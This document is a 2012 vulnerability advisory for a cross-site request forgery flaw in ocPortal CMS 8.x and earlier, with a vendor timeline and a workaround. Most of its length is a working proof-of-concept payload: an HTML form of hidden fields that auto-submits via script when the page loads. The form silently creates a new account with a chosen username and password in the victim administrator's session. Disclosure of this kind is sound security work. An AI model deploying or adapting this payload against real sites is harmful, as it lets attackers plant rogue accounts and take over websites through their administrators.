1. OVERVIEW
ocPoral CMS 8.x and lower versions are vulnerable to Cross-site
Request Forgery (CSRF / XSRF).
2. PRODUCT DESCRIPTION
ocPortal is the website Content Management System (a CMS) for building
and maintaining a dynamic website. ocPortal's powerful feature-set
means there's always a way to accomplish your vision. Not only does
ocPortal's CMS have all the features you'd expect: for instance photo
galleries, news, file downloads and community forums/chats, but it
does so whilst meeting the highest accessibility and professional
standards. It is also smart enough to go beyond page management, to
automatically handle search engine optimisation, and provide
aggressive hack attack prevention.
3. VULNERABILITY DESCRIPTION
ocPoral CMS 8.x and lower versions contain a flaw that allows a remote
Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists
because the application does not require multiple steps or explicit
confirmation for sensitive transactions for majority of administrator
functions such as adding new user, downgrading security
settings,..etc. By using a crafted URL, an attacker may trick the
victim into visiting to his web page to take advantage of the trust
relationship between the authenticated victim and the application.
Such an attack could trick the victim into executing arbitrary
commands in the context of their session with the application, without
further prompting or verification.
4. VERSIONS AFFECTED
Tested on version 8.1.2
5. PROOF-OF-CONCEPT/EXPLOIT
The following CSRF payload would add new admin user.
[HTML]
<form action="http://localhost/ocPortal/adminzone/index.php?page=admin_ocf_join&type=step2"
method="POST">
<input type="hidden"
name="label_for__custom_1_value"
value="About me" />
<input type="hidden"
name="label_for__custom_2_value"
value="Skype ID" />
<input type="hidden"
name="label_for__custom_3_value"
value="Facebook profile" />
<input type="hidden"
name="label_for__custom_4_value"
value="Google+ profile" />
<input type="hidden"
name="label_for__custom_5_value"
value="Twitter account" />
<input type="hidden"
name="label_for__custom_6_value" value="Interests"
/>
<input type="hidden"
name="label_for__custom_7_value" value="Location"
/>
<input type="hidden"
name="label_for__custom_8_value"
value="Occupation" />
<input type="hidden"
name="label_for__custom_9_value"
value="Staff notes" />
<input type="hidden"
name="label_for__custom_21_value"
value="First name" />
<input type="hidden"
name="label_for__custom_22_value"
value="Last name" />
<input type="hidden"
name="label_for__custom_23_value"
value="Street address" />
<input type="hidden"
name="label_for__custom_24_value" value="City" />
<input type="hidden"
name="label_for__custom_25_value" value="State" />
<input type="hidden"
name="label_for__custom_26_value"
value="Post code / Zip code" />
<input type="hidden"
name="label_for__custom_27_value" value="Country"
/>
<input type="hidden" name="label_for__username"
value="Username" />
<input type="hidden" name="username" value="hax0r1" />
<input type="hidden" name="require__username" value="1" />
<input type="hidden" name="label_for__password"
value="Password" />
<input type="hidden" name="password" value="p#ssw!123" />
<input type="hidden" name="require__password" value="0" />
<input type="hidden" name="password_confirm"
value="p#ssw!123" />
<input type="hidden"
name="require__password_confirm" value="0" />
<input type="hidden" name="email_address"
value="hax0r@yehg.net" />
<input type="hidden" name="require__email_address"
value="0" />
<input type="hidden" name="dob_day" value="1" />
<input type="hidden" name="dob_month" value="1" />
<input type="hidden" name="dob_year" value="1882" />
<input type="hidden" name="require__dob" value="0" />
<input type="hidden"
name="label_for__reveal_age"
value="› Reveal age" />
<input type="hidden"
name="tick_on_form__reveal_age" value="0" />
<input type="hidden" name="require__reveal_age" value="0" />
<input type="hidden" name="label_for__timezone"
value="Time zone" />
<input type="hidden" name="timezone" value="America/New_York" />
<input type="hidden" name="require__timezone" value="1" />
<input type="hidden"
name="label_for__allow_emails"
value="Receive e-mails from other members" />
<input type="hidden" name="allow_emails" value="1" />
<input type="hidden"
name="tick_on_form__allow_emails" value="0" />
<input type="hidden" name="require__allow_emails" value="0" />
<input type="hidden" name="label_for__zone_wide"
value="Opt to hide the left/right navigation"
/>
<input type="hidden" name="zone_wide" value="1" />
<input type="hidden"
name="tick_on_form__zone_wide" value="0" />
<input type="hidden" name="require__zone_wide" value="0" />
<input type="hidden" name="label_for__theme" value="Theme" />
<input type="hidden" name="theme" value="-1" />
<input type="hidden" name="require__theme" value="1" />
<input type="hidden"
name="label_for__views_signatures"
value="View signatures" />
<input type="hidden" name="views_signatures" value="1" />
<input type="hidden"
name="tick_on_form__views_signatures" value="0" />
<input type="hidden"
name="require__views_signatures" value="0" />
<input type="hidden" name="label_for__pt_allow"
value="Allow Private Topics from" />
<input type="hidden" name="pt_allow[]" value="2" />
<input type="hidden" name="pt_allow[]" value="3" />
<input type="hidden" name="pt_allow[]" value="4" />
<input type="hidden" name="pt_allow[]" value="5" />
<input type="hidden" name="pt_allow[]" value="6" />
<input type="hidden" name="pt_allow[]" value="7" />
<input type="hidden" name="pt_allow[]" value="8" />
<input type="hidden" name="pt_allow[]" value="9" />
<input type="hidden" name="pt_allow[]" value="10" />
<input type="hidden" name="require__pt_allow" value="0" />
<input type="hidden"
name="comcode__pt_rules_text" value="1" />
<input type="hidden"
name="label_for__pt_rules_text"
value="Private Topic guidelines" />
<input type="hidden" name="pt_rules_text" value="" />
<input type="hidden" name="pt_rules_text_parsed" value="" />
<input type="hidden"
name="label_for__on_probation_until"
value="On probation until" />
<input type="hidden" name="on_probation_until_day" value="" />
<input type="hidden" name="on_probation_until_month"
value="" />
<input type="hidden" name="on_probation_until_year"
value="" />
<input type="hidden" name="on_probation_until_hour"
value="" />
<input type="hidden"
name="on_probation_until_minute" value="" />
<input type="hidden"
name="require__on_probation_until" value="0" />
<input type="hidden"
name="label_for__primary_group"
value="Primary usergroup" />
<input type="hidden" name="primary_group" value="2" />
<input type="hidden" name="require__primary_group"
value="1" />
<input type="hidden"
name="label_for__secondary_groups"
value="Additional usergroup membership" />
<input type="hidden"
name="require__secondary_groups" value="0" />
<input type="hidden" name="label_for__validated"
value="Validated" />
<input type="hidden" name="validated" value="1" />
<input type="hidden"
name="tick_on_form__validated" value="0" />
<input type="hidden" name="require__validated" value="0" />
<input type="hidden"
name="label_for__highlighted_name"
value="Highlighted name" />
<input type="hidden"
name="tick_on_form__highlighted_name" value="0" />
<input type="hidden"
name="require__highlighted_name" value="0" />
<input type="hidden" name="comcode__field_1" value="1" />
<input type="hidden" name="label_for__field_1"
value="About me" />
<input type="hidden" name="field_1" value="" />
<input type="hidden" name="field_1_parsed" value="" />
<input type="hidden" name="label_for__field_2"
value="Skype ID" />
<input type="hidden" name="field_2" value="" />
<input type="hidden" name="require__field_2" value="0" />
<input type="hidden" name="label_for__field_3"
value="Facebook profile" />
<input type="hidden" name="field_3" value="" />
<input type="hidden" name="require__field_3" value="0" />
<input type="hidden" name="label_for__field_4"
value="Google+ profile" />
<input type="hidden" name="field_4" value="" />
<input type="hidden" name="require__field_4" value="0" />
<input type="hidden" name="label_for__field_5"
value="Twitter account" />
<input type="hidden" name="field_5" value="" />
<input type="hidden" name="require__field_5" value="0" />
<input type="hidden" name="comcode__field_6" value="1" />
<input type="hidden" name="label_for__field_6"
value="Interests" />
<input type="hidden" name="field_6" value="" />
<input type="hidden" name="field_6_parsed" value="" />
<input type="hidden" name="label_for__field_7"
value="Location" />
<input type="hidden" name="field_7" value="" />
<input type="hidden" name="require__field_7" value="0" />
<input type="hidden" name="label_for__field_8"
value="Occupation" />
<input type="hidden" name="field_8" value="" />
<input type="hidden" name="require__field_8" value="0" />
<input type="hidden" name="comcode__field_9" value="1" />
<input type="hidden" name="label_for__field_9"
value="Staff notes" />
<input type="hidden" name="field_9" value="" />
<input type="hidden" name="field_9_parsed" value="" />
<input type="hidden" name="field_21" value="" />
<input type="hidden" name="require__field_21" value="0" />
<input type="hidden" name="field_22" value="" />
<input type="hidden" name="require__field_22" value="0" />
<input type="hidden" name="field_23" value="" />
<input type="hidden" name="pre_f_field_23" value="1" />
<input type="hidden" name="require__field_23" value="0" />
<input type="hidden" name="field_24" value="" />
<input type="hidden" name="require__field_24" value="0" />
<input type="hidden" name="field_25" value="" />
<input type="hidden" name="require__field_25" value="0" />
<input type="hidden" name="field_26" value="" />
<input type="hidden" name="require__field_26" value="0" />
<input type="hidden" name="field_27" value="" />
<input type="hidden" name="require__field_27" value="0" />
<input type="hidden" name="http_referer"
value="http://localhost" />
<input type="hidden"
name="pt_rules_text__is_wysiwyg" value="1" />
<input type="hidden" name="field_1__is_wysiwyg"
value="1" />
<input type="hidden" name="field_6__is_wysiwyg"
value="1" />
<input type="hidden" name="field_9__is_wysiwyg"
value="1" />
<input type="submit" value="Submit form" />
</form>
<script>
document.forms[0].submit();
</script>
[/HTML]
6. SOLUTION
No fix is available as of 2012-08-19.
Workaround is not to visit third-party web sites while
administratoring the ocportal application.
7. VENDOR
ocPortal Development Team
http://www.ocportal.com/
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2012-07-29: notified vendor, vendor did not plan to release fix
because of default deployed referer check
2012-08-19: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bocportal_8x%5D_csrf
#yehg [2012-08-19]